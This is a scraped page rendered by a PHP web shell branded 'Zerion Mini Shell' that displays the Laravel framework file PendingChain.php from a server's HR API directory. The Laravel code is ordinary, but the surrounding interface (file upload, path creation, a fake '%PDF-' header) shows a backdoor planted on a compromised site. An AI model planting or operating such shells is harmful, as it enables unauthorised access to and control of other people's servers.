%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/vendor/laravel/framework/src/Illuminate/Foundation/Bus/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/vendor/laravel/framework/src/Illuminate/Foundation/Bus/PendingChain.php

<?php

namespace Illuminate\Foundation\Bus;

use Closure;
use Illuminate\Queue\CallQueuedClosure;

class PendingChain
{
    /**
     * The class name of the job being dispatched.
     *
     * @var mixed
     */
    public $job;

    /**
     * The jobs to be chained.
     *
     * @var array
     */
    public $chain;

    /**
     * Create a new PendingChain instance.
     *
     * @param  mixed  $job
     * @param  array  $chain
     * @return void
     */
    public function __construct($job, $chain)
    {
        $this->job = $job;
        $this->chain = $chain;
    }

    /**
     * Dispatch the job with the given arguments.
     *
     * @return \Illuminate\Foundation\Bus\PendingDispatch
     */
    public function dispatch()
    {
        if (is_string($this->job)) {
            $firstJob = new $this->job(...func_get_args());
        } elseif ($this->job instanceof Closure) {
            $firstJob = CallQueuedClosure::create($this->job);
        } else {
            $firstJob = $this->job;
        }

        return (new PendingDispatch($firstJob))->chain($this->chain);
    }
}

Zerion Mini Shell 1.0